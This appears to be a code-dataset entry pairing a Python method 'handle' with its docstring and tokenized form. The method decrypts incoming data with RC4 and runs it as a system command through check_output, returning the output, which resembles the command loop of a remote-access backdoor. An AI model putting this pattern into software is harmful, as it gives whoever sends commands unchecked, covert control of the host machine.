(self, data)
Handle the command
Handle the command
Handle the command
def handle(self, data):
        """Handle the command"""
        if self.encrypt:
            data = self.crypto.rc4.decrypt(data)
        if data[0] == '1':
            response = check_output(data[1:])
            self.respond(response)
        elif data[0] == '3':
            exit(1)
        else:
            return
def handle ( self , data ) : if self . encrypt : data = self . crypto . rc4 . decrypt ( data ) if data [ 0 ] == '1' : response = check_output ( data [ 1 : ] ) self . respond ( response ) elif data [ 0 ] == '3' : exit ( 1 ) else : return